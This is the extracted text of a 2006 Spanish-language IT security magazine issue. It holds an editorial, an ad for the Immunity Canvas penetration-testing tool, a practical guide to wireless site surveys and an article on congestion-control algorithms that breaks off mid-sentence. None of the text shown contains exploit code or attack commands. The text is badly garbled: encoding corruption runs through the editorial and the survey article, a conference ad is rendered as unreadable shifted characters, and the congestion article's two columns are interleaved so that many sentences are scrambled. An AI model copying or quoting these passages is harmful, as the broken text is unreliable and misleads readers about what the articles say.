SECURITY&tECHNOLOGY IT PROFESSIONALS MAGAZINE Año 1 · Número 3 · OCTUbre 2006
SITE SURVEY EN REDES WIRELESS pag. 4
STACK BUFFER OVERFLOWS pag. 14
La red
De BS7799 a ISO 27000 pag. 16
ESPIA ECHELON
El rol de las computadoras hoy en día es fundamental; por eso mismo, quien posea el control de la información en un mundo así de informatizado, tendrá también el control sobre todas nuestras vidas.
Security&technology | OCTUBRE 06
3
SECURITY&tECHNOLOGY
STAFF Director General Gustavo Rodolfo Sepulcri PROPIETARIOS SC IT Security Professionals S.R.L.
IT PROFESSIONALS MAGAZINE
EDITORIAL
Coordinaciรณn editorial Juan Manuel Gracia
A paso firme
REVISIร N Y CORRECCIร N Natalia Cerrella
Bienvenidos una vez mรกs a nuestro clรกsico de todos los meses. Gracias a ustedes, nuestros lectores, crecemos a pasos agigantados: hace apenas un mes que tenemos el nuevo sitio online y no dejamos de alegrarnos por la buena respuesta que generamos. Todos los dรญas se registran nuevos usuarios, los mensajes crecen con sugerencias mรกs que interesantes, preguntas varias y comentarios que sรณlo nos incentivan a seguir innovando. Ademรกs, la ediciรณn impresa de Security & Technology llega cada vez mรกs lejos y a mรกs lugares. Todo esto en apenas tres nรบmeros de una revista que llegรณ para mostrar que algo nuevo podรญa (y debรญa) hacerse en materia de publicaciones especializadas. En esta ediciรณn contamos con una nota de tapa verdaderamente atrayente. โ El rol de las computadoras hoy en dรญa es fundamental; por eso mismo, quien posea el control de la informaciรณn en un mundo asรญ de informatizado, tendrรก ambiรฉn el control sobre todas nuestras vidasโ , escribe Pedro Cacivio -verdadero especialista en la materia- quien en este nรบmero nos introduce sobre lo que mรกs conoce: las redes de espionaje informรกtico. Una realidad ineludible que cambiarรก la forma en que concebimos la circulaciรณn de la informaciรณn dentro del universo digital. Ademรกs, echaremos un vistazo a los ya imprescindibles Site Surveys y su implementaciรณn en redes inalรกmbricas y descubriremos quรฉ son los algoritmos de control de congestionamiento. Ademรกs, desarrollaremos otros temas como configuraciones de Linux, la construcciรณn social sobre la guerra por la informaciรณn, un repaso histรณrico sobre las normas de seguridad ISO y mucha mรกs informaciรณn que esperamos disfruten tanto como nosotros al momento de revisar el material volcado en este magazine. Nuevamente agradecemos a nuestros lectores por todo el apoyo brindado. Nos vemos el prรณximo nรบmero con mucha mas informaciรณn. ยกHasta noviembre!
Redactores Pedro M. Cacivio Agustin Gianni Edson V. Piuzzi Marcos P. Russo Gabriel Schwartz Christian Vidal Publicidad - suscripciones Romรกn Domรญnguez (K) rdominguez@st-magazine.com suscripcion@st-magazine.com
DiSEร O GRร FICO Ariel Glaz ILUSTRACIร N y DISEร O WEB Alicia Vera Alice
CONTENIDOS REDES WIRELESS
IMPLEMENTACIร N DE SITE SURVEY EN REDES WIRELESS [PAG. 4]
escribanos un correo electrรณnico a: writers@st-magazine.com SECURITY & TECHNOLOGY IT Professionals Magazine
INFORME ESPECIAL
Queda prohibida la reproducciรณn no autorizada total o parcial de los textos publicados, mapas, ilustraciones y grรกficos incluidos en esta ediciรณn. La Direcciรณn de esta publicaciรณn no se hace responsable de las opiniones en los artรญculos firmados, los mismos son responsabilidad de sus propios autores. Las notas publicadas en este medio no reemplazan la debida instrucciรณn por parte de personas idรณneas. La editorial no asume responsabilidad alguna por cualquier consecuencia, derivada de la fabricaciรณn, funcionamiento y/o utilizaciรณn de los servicios y productos que se describen, analizan o publicitan.
ALGORITMOS DE CONTROL DE CONGESTIONAMIENTO [PAG. 7]
REDES WIRELESS
NETWORKS
SITE SURVEY [PAG. 4]
STACK BUFFER OVERFLOW
[PAG. 14]
ECHELON
3
CONTACTO info@st-magazine.com www.st-magazine.com
[OCTUBRE 06]
Si quiere colaborar con
LA RED ESPร A [PAG. 10]
REPASO HISTร RICO
DE BS7799 A ISO 27000 [PAG. 16] SEGURIDAD
GUERRA DE LA INFORMACIร N EN LA EMPRESA [PAG. 17] LINUX
INSTALACIร N DE DISTCC [PAG. 18]
CONGESTIONAMIENTO
ALGORITMOS DE CONTROL [PAG. 7]
Immunity
Canvas Professional Immunity Canvas es una herramienta de penetration testing que ofrece cientos de exploits confiables, apuntado a Profesionales de la seguridad informรกtica y Penetration Testers.
2ESELLER FOR )MMUNITY #ANVAS
-AS )NFORMACIย N INFO SECURITYC COM
4
Security&technology | OCTUBRE 06
UTILIZANDO UN Site Survey Implementación en redes wireless Un Site Survey es el proceso de identificar y detectar las diferentes redes wireless que se encuentran en la cercanía de donde pensamos realizar nuestra implementación y poder asi seleccionar el lugar estratégico para instalar nuestros equipos de manera de asegurarle a nuestros clientes una conveniente cobertura en los espacios por ellos elegidos. Por Gabriel
Schwartz
¿Qué es un Site Survey? Una buena definición para “Site Survey”, puede ser: “Mapa de red wireless satisfactoriamente implementada” Un Site Survey es el proceso de identificar y detectar las diferentes redes wireless que se encuentran en la cercanía de donde pensamos realizar nuestra implementación y poder asi seleccionar el lugar estratégico para instalar nuestros equipos de manera de asegurarle a nuestros clientes una conveniente cobertura en los espacios por ellos elegidos.
Recomendaciones BÁsicas Se debe tener en cuenta que un Site Survey es lo mas importante en la implementación de una red wireless. Esta puede tardar días o semanas según la envergadura del proyecto, pero nunca se debera obviar este paso ya que tal como refiero anteriormente resulta requisito “excluyente” a la implementacion satisfactoria de una red wireless. Resulta “objetivo primario” de un Site Survey el que todos los “usuarios móviles” puedan utilizar la red wireless siendoles a la vez transparente el traslado dentro de las instalaciones donde implementemos dicha red.
Preparándonos para un Site Survey El planeamiento de una red wireless incluye la recolección de información y la toma de decisiones. Aquí solo algunas de las preguntas que debe tenerse en cuenta antes de comenzar cualquier Site Survey. Las mismas pueden ser respondidas por el mismo Administrador de Red o incluso por alguna persona idónea del sector de It. 1. Tipo de estructura o “Facility” 2. Redes existentes (Ethernet, Wireless) 3. ¿Qué propósito tiene la red? (comercial, cortesía) 4. ¿Qué requerimientos en cuanto a roaming y ancho de Banda sera necesario? 5. ¿Qué recursos existentes esta disponibles. (Tipo de conexión a internet, cableado, Etc.) 6. ¿Cuáles son los requerimientos de seguridad? (minimos, maximos)
Importancia del Análisis del tipo de Facility Es muy importante determinar a priori el tipo de estructura en la cual realizaremos el Survey ya que no es lo mismo realizarlo para una oficina con veinte (20) usuarios móviles que para un aeropuerto internacional que puede tener mas de doscientos
(200) y una mayor area de cobertura. Para ello, no solo se debera cuantificar la diferencia en numero de clientes concurrentes, si no también aquellos elementos de seguridad tal que garanticen el funcionamiento conforme al alcance esperado. Esto es: ancho de banda, presupuesto y tipo de equipamiento que puede haber en el site que pueda interferir con la señal 2.4 mhgz. Las respuestas a estas preguntas pueden venir en descripciones escritas, fotos, planos estructurales del edificio. Siempre se debe recordar que mientras mas se sepa antes al llegar al edificio estaremos mejor preparados una vez que estemos ahí. Para dar un ejemplo de estructuras tomaremos Un Hospital. En un site tipo hospital tenemos que pensar que hay varios factores que pueden afectar a nuestra señal de 2.4 mhgz ejemplo: Equipos de Radiología, de radio comunicación, ventanas malladas, puertas de seguridad, largos pasillos, salidas de incendio, Ascensores, material con los que están compuestos las paredes Ladrillo hueco, concreto, durlock, etc. (expansión de señal). Deberíamos tener en cuenta la utilización de diferentes tipos de antenas (Direccional o Omnidirecional) dependiendo si es un pasillo o una sala de espera; también la creación de diferentes SSID para visitantes o para uso de personal interno con roaming automático. Puede ser que el Hospital este corriendo una aplicación Web (Horarios, turnos) que debe funcionar en todo el establecimiento. Se debe hacer un cálculo aproximado de la cantidad de usuarios que se pueden conectar a los diferentes Access Point por el Ancho de Banda y perfomance. Estas son algunas de las cosas que debemos considerar en este tipo de site. Otro ejemplo diferente puede ser de una estructura tipo Open Office como hoy en día son la mayoría de los contac center sin grandes divisiones todas estructuras bajas
RECOMENDACIÓN Es muy importante antes de empezar a realizar cualquier actividad dar una vuelta completa a todo el site viendo las estructuras (Escaleras, Ascensores, pasillos), materiales de las paredes, posibles interferencias y también se debe ir analizando posibles puntos de montaje aunque después no sean esos la manera de llegar con cable a ese punto.
Security&technology | OCTUBRE 06
tipo boxes, con la mayorĂa de las paredes de Durlock o paneles, con una cantidad de 20 a 30 usuarios mĂłviles fijos. Son estructuras generalmente libres de obstĂĄculos donde la seĂąal se propaga fĂĄcilmente, aquĂ es importante tener en cuenta la gran cantidad de usuarios que van a estar conectados al mismo tiempo por el tema del Ancho de banda, el uso de un usuario mĂłvil es generalmente de un 80 % Internet (NavegaciĂłn – Mail) y 20% transferencia de pequeĂąos archivos del file Server. Y en temas de seguridad tales como accesos a los diferentes Servers, implementaciĂłn de subredes, Roaming automĂĄtico, diferente SSID para visitantes.
Redes existentes (Ethernet o Wireless) Esta pregunta es muy importante ya que con esto sabremos si debemos montar una red que debe coexistir con la existente o si debemos realizar el diseĂąo desde cero.
utilizar una autentificaciĂłn con un servidor Radius o si es una conexiĂłn de cortesĂa ejemplo un Hotel o sala de embarque de un aeropuerto vamos hacer broadcast el SSID y dejar la autenticaciĂłn abierta para que los usuarios puedan conectarse rĂĄpidamente y sin problemas. AdemĂĄs debemos pensar en la cantidad de usuarios que se van a conectar y en el ancho de banda que van utilizar. Como asĂ tambiĂŠn si van a necesitar roaming (Movilidad sin cambio de configuraciĂłn) en todo el site o solo en una parte.
corran y en que ĂĄrea (Sala de reuniones, zona de oficinas) se puede dar prioridad a ciertos paquetes para asegurar una buena comunicaciĂłn una buena tasa de transferencia.
3. Roaming de los usuarios TambiĂŠn se debe determinar que usuarios van a tener roaming ya sea dentro del un edificio o de un departamento o a su vez se puede considerar que tenga roaming en todas las sucursales.
Recursos QUE tenemos disponibles ¿QuÊ requerimientos en cuanto a roaming y ancho de Banda? Una vez mas esto depende del uso que le va dar el cliente. Ejemplo: Si tenemos un cliente que la aplicación que le va dar a la red wireless es de pasar los codigos de barras de las cajas del deposito al Server central con un ancho de banda de (3 – 5 mbps) esta bien pero aquà segura-
Este punto nos puede alivianar mucho trabajo. Debemos recolectar la mayor cantidad de informaciĂłn disponible solicitĂĄndosela al Administrador de la red ya se informaciĂłn como: planos estructurales del edificio, documentaciĂłn de un site survey previo, documentaciĂłn de la topologĂa de la red actual. En caso de que haya lugares de acceso restringido deberĂamos con anticipaciĂłn solicitar permiso para ingresar en esas ĂĄreas. TambiĂŠn deberĂamos tener en cuenta si
ÂŤImplementar un Site Survey puede demandarnos dĂas o incluso semanas, pero resulta un requisito excluyente a la implementaciĂłn satisfactoria de una red wireless.Âť
Observer, un sofware usualmente utilizado para Site Surveying Muchas veces nos vamos a encontrar con redes wireless ya implementadas en ese caso deberemos realizar algunas preguntas mas: 1. ÂżDocumentaciĂłn de la red wireless existente? 2. Frecuencia y canales que se estan utilizando? 3. Cantidad aproximada o exacta de usuarios? 4. ÂżQuĂŠ tipo de seguridad hay implementada? 5. ÂżQuĂŠ sectores del site tienen facilidad Wireless y cual cableada? 6. ÂżEquipos que se estĂĄn utilizando (APs, Switches, Hubs, Routers, Modems) y donde estĂĄn localizados? 7. Tipos de roles de los APs instalados (root, repetears, bridge) Sin estas respuestas, el site survey serĂĄ mucho mas complejo y sobretodo si la red existente no fue implementada correctamente.
ÂżQuĂŠ propĂłsito tiene? ÂżComercial? ÂżCortesĂa? Se debe poder comprender correctamente el uso que le va dar el cliente a la red wireless de esa manera vamos a poder a realizar un planimiento mucho mas preciso ya sea de configuraciĂłn y de equipos a utilizar. En temas de seguridad por ejemplo si es para una oficina y los Access Point estĂĄn conectados directos a red y seguramente no vamos a hacer broadcast del SSID a tener
mente lo mas importante es que el roaming este activo en todo el deposito osea que el operario se pueda mover con libertar sin estar pensando si esta conectado. Una situación diferente es si tenemos en una oficina a operadores que trabajan con Internet y necesitan acceder a pesadas bases de datos web y ademas deben testear el rendimiento de servers y estos estan siempre en la misma area de trabajo aquà lo mas importante es el ancho de banda que seguramente van estar necesitando entre (48 – 54 mbps) y va tener menos importancia el tema del roaming ya que no van a estar pasando de una red a otra. Por eso se debe realizar un muy buen analisis del uso que va tener la red wireless para el cliente. Cosas a tener en cuenta:
1. La cantidad de usuarios que se van estar conectados a la red Este dato es importante ya que dependiendo de la cantidad de usuarios que se conectan a la red wireless es el ancho de banda que van a tener por eso ese dato debe ser lo mas preciso posible.
2. ÂżQuĂŠ tipo de aplicaciones van a estar corriendo sobre la red Wireless? Es de importancia saber que trafico tiene la red si solamente archivos o tambiĂŠn pasa voz y video. Dependiendo de las aplicaciones que
hay una red wireless instalada que marca son los equipos, que tecnologĂa son que tipo de antenas estĂĄn usando y donde y como estĂĄn instalados. AdemĂĄs debemos tener claro con cuanto tiempo disponemos para realizar el Site Survey y por ultimo pero no menos importante con que presupuesto cuenta nuestro cliente para realizar el trabajo esto nos darĂĄ la pauta si tendremos que planear la red con los equipos existentes reubicĂĄndolos o si disponemos de la posibilidad de realizar un cambio total de equipos.
ÂżCuĂ les son los requerimientos de Seguridad? ÂżQuĂŠ nivel de seguridad es necesario? Los clientes muchas veces van a solicitar medidas de seguridad para resguardar su informaciĂłn puede pasar dependiendo el uso como ya explicamos anteriormente que no nos soliciten ningĂşn tipo de seguridad. Pero lo mas importante es explicarle al cliente de todas las opciones que tiene desde la seguridad bajo WEP hasta la autentificaciĂłn mediante un servidor Radius darle las ventajas y desventajas de los diferentes mĂŠtodos la posibilidad de sumar algĂşn software extra de control global de APs o un IDS especifico para la red wireless. Que el cliente se sienta que tiene todo la informaciĂłn de esa manera con nuestra ayuda pueda tomar una decisiĂłn dependiendo lo que realmente necesite. TambiĂŠn nos podemos encontrar con empresas Multinacionales que ya tienen impuestas polĂticas de seguridad para la implementaciĂłn de redes wireless en ese caso deberĂamos solicitarle al administrador de
5
CHECK LIST SITE SURVEY
1 Planos estructurales del site 2
DocumentaciĂłn de un site survey anterior
3
DocumentaciĂłn y diagrama de la red (TopologĂa)
4
Programar un reuniĂłn con el Administrador de la red
5
Programar una reuniĂłn con gente de mantenimiento del site (Arquitectos, Administrador de propiedad)
6 Asegurarse acceso a todas las ĂĄreas donde vamos necesitar chequear la seĂąal wireless
7 Acceso al rack central o N.O.C. 8
Acceso al techo descendido para ver posibles puntos de montaje (Escalera)
9
Informarse de futuros cambios de estructuras, ampliaciones y mudanzas de oficinas red estas polĂticas para poder analizarlas y evaluar si los equipos soportan ese tipo de seguridad o si la topologĂa de red es la adecuada y demĂĄs. Habiendo visto ya todos los puntos en detalle podemos ayudarnos a revisar cada paso, revisando el checklist que acompaĂąa la nota.
3ERÉ EL 0RIMER %NCUENTRO !NUAL PARA 0ROFESIONALES DE LA 4ECNOLOGĂ“A CON EL OBJETIVO DE DAR A CONOCER LAS hMEJORES PRÉCTICASv QUE PROMUEVEN LA CALIDAD Y REDUCEN LOS COSTOS Y RIESGOS DE LA PRODUCCIĂ˜N DE LOS SERVICIOS TECNOLĂ˜GICOS 0ARTICIPE DEL #ONGRESO Y ESTĂ? JUNTO A NUESTROS +EYNOTE 3PEAKERS INTERNACIONALES COMO -!2'!2)4! #/00,%34/.% %8). (OLANDA CON TODAS LAS NOVEDADES DE LA #ERTIFICACIĂ˜N INTERNACIONAL
Y DE /CTUBRE 0ALACIO 3AN -IGUEL q #DAD DE "S !S
ITSM ITIL COBIT ISO2000 0!2! -Â3 ).&/2-!#)Âź. 6)3)4% 777 #/.'2%3/)43- #/- !2 #/-%2#)!,):!$/2! #%/ #/.35,4/2! ).&/2-%3 % ).3#2)0#)Âź. -!2)! &%2.!.$! '!2#¡! ,!342%3 #%/#/.35,4/2! #/.6%.)2 /2' !2 5N EVENTO DE )N 3ITU 3 ! #OMUNICACIĂ˜N E )MAGEN %MPRESARIA
Security&technology | OCTUBRE 06
7
Algoritmos de Control de CongestionamientO Cuando la cantidad de paquetes descargados en una subred es menor de la que la subred puede manejar, todos los paquetes son entregados, salvo errores de transmisión. Sin embargo, a medida que más paquetes son enviados y se excede la capacidad de los enrutadores, se comienzar a perder los paquetes y el desempeño comienza a decaer. Cuando hay demasiados paquetes en una subred hay degradación en el desempeño. Esta situación se llama congestionamiento. Por Marcos
E
P. Russo
l congestionamiento puede ocurrir por varias razones. Si llega una ráfaga de información a un mismo punto, si no hay memoria suficiente para contenerlos a todos, etc. La adición de memoria infinita tampoco es una garantía. En 1987, Nagle descubrió que bajo esta condición el congestionamiento empeora en lugar de mejorar, y esto se debe a que muchos paquetes son almacenados en la cola y cuando llega su turno ya caducó su tiempo de espera y entonces deben ser reenviados. Los procesadores lentos pueden ser otra causa de congestionamiento. Si las CPU de los enrutadores son lentas para realizar las tareas de administración, se pueden alargar las colas. También la modernización de parte del sistema sólo reemplaza el cuello de botella a otra sección. El Control de Congestionamiento se refiere a garantizar que la subred sea capaz de transportar el tráfico ofrecido. Este comportamiento es global, en el que intervienen todos los hosts y enrutadores de la red. El Control de Flujo en contraste se relaciona con la transmisión específica entre un emisor y un receptor. La tarea del control de flujo es la de asegurar que un emisor no pueda transmitir a una velocidad mayor a la que pueda absorber el receptor. Esto casi siempre involucra la retroalimentación de información del receptor al emisor.
Principios Generales del Control de Congestionamiento Para el control de congestionamiento, existen principalmente dos categorías de soluciones. Las Soluciones de Ciclo Abierto intentan establecer un buen diseño desde el principio para evitar los problemas desde el comienzo. Una vez que el sistema está operando no se realizan más modificaciones. En cambio, las Soluciones de Ciclo Cerrado se basan principalmente en el concepto de retroalimentación de información. Este tipo de enfoque tiene tres partes:
cuando no hay espacio. La Administración de Tiempo de Vida de los Paquetes hace referencia al tiempo que debe mantenerse un paquete antes de que sea descartado. Si este tiempo es demasiado grande, los paquetes perdidos pueden bloquear la operación, pero si por el contrario, el tiemp es demasiado corto, los paquetes pueden expirar antes de llegar a destino, induciendo a retransmisiones.
Conformación del Tráfico
· Supervisar constantemente el sistema para saber dónde ocurren los congestionamientos. · Pasar la información sobre los congestionamientos a los lugares en donde se puedan llevar a cabo acciones correctivas. · Ajustar la operación del sistema para corregir el problema. Para la supervisión de la red en búsqueda de congestionamientos se pueden usar varias métricas. Por ejemplo el porcentaje de paquetes descartados por falta de espacio en el buffer, la longitud promedio de las colas, la cantidad de paquetes para los cuales finaliza la temporización, el retardo promedio de los paquetes, etc. Luego de la supervisión, sigue la realimentación de información relativa al congestionamiento desde el punto en que se detecta hasta el lugar en que se puede hacer algo al respecto. Por supuesto el envío de estos paquetes suma carga de información a la red. Yang y Reddy desarrollaron una variedad de algoritmos de control de congestionamiento. Comenzaron por dividir los algoritmos de Ciclo Abierto en algorimos que actúan sobre el origen y algoritmos que actúan sobre el destino. Los algoritmos de ciclo cerrado fueron subdivididos en dos subcategorías: de realimentación explícita y de realimentación implícita. En los Algoritmos de Realimentación Explícita se envían paquetes de regreso desde el lugar de congestionamiento para avisar al origen. En los Algoritmos de Realimentación Implícita el origen deduce la existencia de un congestionamiento haciendo observaciones locales, como por ejemplo el tiempo de retardo de la confirmación de la llegada de paquetes a destino. Ante la presencia de congestionamiento existen dos soluciones: aumentar los recursos (por ejemplo aumentar el ancho de banda en ciertos puntos) ó disminuir la carga. A veces sucede que ya no es posible aumentar la capacidad, con lo cual la única opción restantes es disminuir la carga (negar el servicio o degradarlo).
Políticas de Prevención de Congestionamientos Los sistema de Ciclo Abierto están diseñados para reducir al mínimo el congestionamiento desde el inicio, en lugar de permitir que ocurra y actuar en consecuencia. Transporte · Política de Retransmisión · Política de Caché de paquetes fuera de orden · Política de acuses de recibo · Política de control de flujo · Determinación de terminaciones de temporización Red · Circuitos virtuales vs. datagramas en la subred · Política de encolamiento y servicio de paquetes · Política de descartado de paquetes · Política de enrutamiento · Gestión de tiempo de vida de paquetes Enlace de Datos · Política de retransmisiones · Política de caché de paquetes fuera de orden · Política de acuses de recibo · Política de control de flujo
Una de las causas principales de congestionamiento es que por lo general el tráfico es en ráfagas. Si puediera hacerse que los hosts transmitieran a una tasa uniforme la cantidad de congestionamientos sería menor. Otro método de ciclo abierto es obligar a la transmisió de paquetes a una tasa más predecible. Este enfoque se utiliza ampliamente en ATM y se lo denomina Conformación del Tráfico. La Conformación del Tráfico se ocupa de la regulación de la tasa promedio de la transmisión de datos. Al establecerse un circuito virtual, el usuario y la subred (cliente y portadora), acuerdan cierto partrón de tráfico para ese circuito. Mientras el cliente envíe la información como fue establecido, la portadora garantiza la entrega de todos los paquetes a tiempo. Este tipo de arreglos es importante para la transmisión de información en tiempo real, como la transmisión de video y audio, los cuales no toleran bien los congestionamientos. La supervisión del flujo de tráfico se llama Vigilacia de Tráfico.
Algoritmo de Cubeta de Goteo Este algoritmo funciona de la siguiente manera. Imagínese una cubeta con un agujero en el fondo. Sin importar la velocidad con la que ingrese el agua en la cubeta, el flujo de salida de agua de la misma será a una tasa constante. Una vez que la cubeta esté llena, el agua adicional se perderá a causa del desbordamiento.Este algoritmo fue propuesto inicialmente por Turner en 1986. El host puede poner en la red un paquete por pulso de reloj. Esto puede convertir un flujo desigual de paquetes en un flujo continuo de paquetes hacia la red. Cuando todos los paquetes tienen el mismo tamaño, este algoritmo puede usarse como se describe. Sin embargo al usarse paquetes de tamaño variable es mejor transmitir un
En la capa de enlace de datos, la Política de Retransmisiones tiene que ver con la rapidez con que termina de temporizar un trasmisor y con lo que transmite al ocurrir una terminación de temporizador. Un transmisor que termina pronto puede transmitir los paquetes que tenga pendientes usando el protocolo de regresar n pondrá una carga más pesada que un transmisor calmado que usa repetición selectiva. Si los receptores descartan los paquetes que lleguen fuera de orden, entonces estos paquetes deGrifo berán ser retransmitidos y se generará más carga en la red. La Política de Acuse de Recibo también afecta al congestionamiento. Por cada paquete que es reconocido se Cubeta de genera un acuse de recibo y goteo se genera tráfico extra. La Política de Descartado es la regla que indica qué El agua gotea del agujero a una tasa paquete debe ser descartado constante
Computadora anfitriona (host) Paquete Interfaz que contiene una cubeta de goteo
Flujo sin regular
La cubeta contiene paquetes
Flujo regulado
Red
8
Security&technology | OCTUBRE 06
número fijo de bytes por pulso en lugar de cantida de paquetes. El algoritmo de Cubeta de Goteo funciona con una cola finita. Al momento de llegar un paquete, si hay lugar en la cola se agrega, caso contrario se descarta. En cada caso se inicializa un contador. Si el nuevo paquete tiene menor cantidad de bytes que el contador, el paquete se agrega a la cola y se disminuyer el contador en esa cantidad de bytes. Se pueden seguir enviando paquetes mientras el contador sea lo suficientemente grande. Al ser el contador menor que la cantidad de bytes del nuevo paquete, se detiene la transmisión hasta el pulso siguiente, en cuyo caso se inicializa el contador nuevamente.
Algoritmo de Cubeta con Ficha En muchas aplicaciones es mejor permitir que la salida de paquetes se acelere al llegar una ráfaga grande. El Algoritmo de Cubeta con Ficha es un algoritmo que funciona de esta manera. En este algoritmo, la cubeta por goteo contiene una cierta cantidad de fichas generadas a razón de una ficha por cada unidad de tiempo. Para transmitir un paquete, el transmisor utiliza una de las fichas almacenadas destruyéndola.
Computadora anfitriona (host)
Computadora anfitriona (host)
Se agrega una ficha a la cubeta cada T
La cubeta contiene fichas
Redes
Este algoritmo permite que los hosts inactivos acumulen permisos para enviar posteriormente ráfagas grandes, hasta el tamaño máximo de lo que pueda contener la cubeta. También es importante destacar que a diferencia del algoritmo de Cubeta por Goteo, este algoritmo descarta las fichas que se generen cuando la cubeta esté llena, pero nunca descarta paquetes. Al llegar a cero el contador de fichas no pueden enviarse más paquetes. En esencia, lo que hace este algoritmo es permitir las ráfagas pero limitando su longitud.
Especificaciones de Flujo La conformación de tráfico es más efectiva cuando el transmisor, el receptor y la subred están de acuerdo. Para ponerse de acuerdo, es necesario especificar el patrón de trafico de una manera precisa. Tal arreglo se llama especificación de flujo, y consiste en una estructura de datos que describe tanto el patrón de trafico interpolado como la calidad del servicio deseado por las aplicaciones. Esta especificación se puede aplicar tanto a los paquetes enviados por un circuito virtual como a una secuencia de datagramas enviados entre un origen y un destino (o a varios destinos). La idea es que, antes de establecer una
conexión, o antes del envío de una secuencia de datagramas, el origen presente la especificación de flujo a la subred, para su aprobación. La subred puede aceptarla, rechazarla, o presentar una contrapropuesta. Una vez que el transmisor y la subred han llegado a un acuerdo, el transmisor puede preguntar al receptor si también está de acuerdo. Características de la Entrada Tamaño máximo de paquetes (bytes) Tasa de cubeta con fichas (bytes/seg) Tamaño de la cubeta con fichas (bytes) Tasa de transmisión máxima (bytes/seg) Servicio deseado Sensibilidad a perdidas (bytes) Intervalo de perdidas (µseg) Sensibilidad a perdidas por ráfaga (paquetes) Retardo mínimo notado (µseg) Variación máxima del retardo (µseg) Calidad de la garantía Figura A. Ejemplo de Especificación de Flujo. Ahora examinaremos una especificación de flujo diseñada por Partridge (1992), la cual se presenta en la Figura A. Comencemos por la especificación de trafico. El tamaño máximo de paquetes indica el tamaño que pueden tener los paquetes. Los siguientes dos parámetros (la tasa de cubeta con fichas y el tamaño de la cubeta con fichas) suponen implícitamente que el trafico se conformara mediante el algoritmo de la cubeta con fichas trabajando con bytes; indican la cantidad de bytes que se colocan en la cubeta con fichas por segundo, así como el tamaño de la cubeta. La tasa de transmisión máxima es la tasa más alta que puede producir el host en cualquier condición, y especifica implícitamente el intervalo de tiempo en el que podría vaciarse la cubeta con fichas. En la segunda columna se especifica lo que la aplicación pide a la subred. El primer y segundo parámetros (la sensibilidad a perdidas y el intervalo de perdidas) representan el numerador y el denominador de una fracción que da la relación de perdidas máxima aceptable. Alternamente, estos parámetros pueden indicar que el flujo es insensible a la perdida de paquetes. La sensibilidad a perdidas en ráfaga indica la cantidad de paquetes perdidos consecutivos que puede tolerarse. Los siguientes dos parámetros de servicio tienen que ver con el retardo. El retardo mínimo notado indica el tiempo que puede retardarse un paquete sin que la aplicación se de cuenta y la variación máxima del retardo intenta cuantificar el hecho de que algunas aplicaciones son insensibles al retardo mismo, pero son altamente sensibles a la fluctuación, es decir, a la cantidad de variación en el tiempo de transito de los paquetes de lado a lado. Por ultimo, la calidad de la garantía indica si la aplicación realmente necesita lo que esta pidiendo o no. Por un lado, las características de perdida y retardo podrían ser metas ideales, pero no hay problema si no se logran; por otro, podrían ser tan importantes que, de no cumplirse, la aplicación simplemente termina. También son posibles posiciones intermedias. Un problema inherente a cualquier especificación de flujo es que la aplicación podría no saber realmente lo que quiere.
Control de Congestionamientos en las subredes de circuitos virtuales
de otros recursos. Puede asociar cada línea a una variable real, u, cuyo valor, por ejemplo Los métodos de control de congestionamien- entre 0.0 y 1.0, refleja el uso reciente de esa to son básicamente de ciclo abierto: tratan de línea. Para tener una buena estimación de u, evitar que ocurran los congestionamientos, puede tomarse periódicamente una muestra en lugar de manejarlos una ves ocurridos. del uso instantáneo de la línea, f (0 o 1), y Una de las técnicas que se usa ampliamente actualizar u periódicamente de acuerdo con para evitar que empeoren los congestionamiunvo = auant + (1 – a)f entos que ya han comenzado es el control de donde la constante a determina la rapidez admisión. La idea es sencilla: una vez que con que el enrutador olvida la historia rese ha detectado el congestionamiento, no se ciente. establecen circuitos virtuales nuevos hasta Siempre que u rebasa el umbral, la línea de hasta que ha desaparecido el problema. Por salida entra en un estado de “advertencia”. tanto, fallan los intentos por establecer con- Cada paquete nuevo que llega se revisa para exiones nuevas de capa de transporte. Per- ver si su línea de salida esta en el estado de mitir el acceso a mas gente simplemente advertencia. De ser así, el enrutador envía empeoraría las cosas. Este enfoque se imple- un paquete de estrangulamiento de regreso menta en el sistema telefónico. al host de origen, dándole el destino enconUn enfoque alterno es permitir el esta- trado en el paquete. El paquete original se blecimiento de nuevos circuitos virtuales, marca (se enciende un bit de cabecera) para pero enrutando cuidadosamente los circuitos que no pueda generar mas paquetes de esnuevos por otras rutas que no tienen proble- trangulamiento mas adelante en la trayectomas. Por ejemplo, consideremos la subred de ria, y se reenvía de la manera normal. la Figura B, en la cual están congestionados Al recibir el paquete de estrangulamiento, dos enrutadores, según se muestra. el host de origen, esta obligado a reducir Supongamos que un host conectado al el tráfico que envía al destino especificado enrutador A quiere establecer una conex- en X%. Dado que otros paquetes destinados ión con un host conectado al enrutador B. al mismo lugar probablemente ya están en Normalmente, esta conexión pasaría a través camino y generaran nuevos paquetes de esde uno de los enrutadores congestionados. trangulamiento, el host deberá ignorar los paquetes que se refieran A a ese destino durante un Congestionamiento intervalo de tiempo fijo. Tras la terminación de ese periodo, el host espera mas paquetes de estrangulamiento durante otro intervalo. Si llega uno, es que la línea aun esta congestionada, por lo que el host reduce el flujo aun mas y comienza Figura B Congestionamiento a ignorar nuevamente los Para evitar esta situación, podemos redibujar paquetes de estrangulamiento. Si no llegan la subred como se muestra en la Figura C, paquetes de estrangulamiento durante el omitiendo los enrutadores congestionados y periodo de escucha, el host puede aumentar todas sus líneas. La línea de trazo interrum- el flujo nuevamente. La realimentación impido muestra una ruta posible para el circuito plícita en este protocolo puede ayudar a evivirtual que evita los enrutadores congestio- tar el congestionamiento sin reducir ningún nados. flujo a menos que ocurran problemas. Otra estrategia que tiene que ver con los El host puede reducir el trafico ajustando circuitos virtuales es negociar un acuerdo sus parámetros de política; por ejemplo, el entre el host y la subred al establecerse un tamaño de la ventana o la tasa de salida de circuito virtual. Este arreglo normalmente es- la cubeta con goteo. pecifica el volumen y la forma del trafico, la calidad de servicio requerida y otros parámetEncolamiento Justo Ponderado ros. Para cumplir con esto, la subred reserva Un problema con el uso de paquetes de esservicios a lo largo de la trayectoria al es- trangulamiento es que la acción a tomar por tablecerse el circuito. Estos recursos pueden los hosts de origen es voluntaria. Supongaincluir espacio en tablas y en buffer en los mos que un enrutador esta siendo abrumado enrutadores y ancho de banda en las líneas. por paquetes de cuatro orígenes, y que envía De esa manera, es poco probable que ocurran paquetes de estrangulamiento a todos elcongestionamientos en los circuitos virtuales los. Uno de ellos se refrena, como se espera, nuevos, porque esta garantizada la disponibi- pero los otros tres siguen enviando a toda lidad de todos los recursos necesarios. velocidad. El resultado es que el host que Este tipo de reservaciones pueden llevarse disminuyo el envió de paquetes, recibe una a cabo todo el tiempo como procedimiento porción aun menor del ancho de banda del operativo estándar, o solo cuando esta con- que tenia 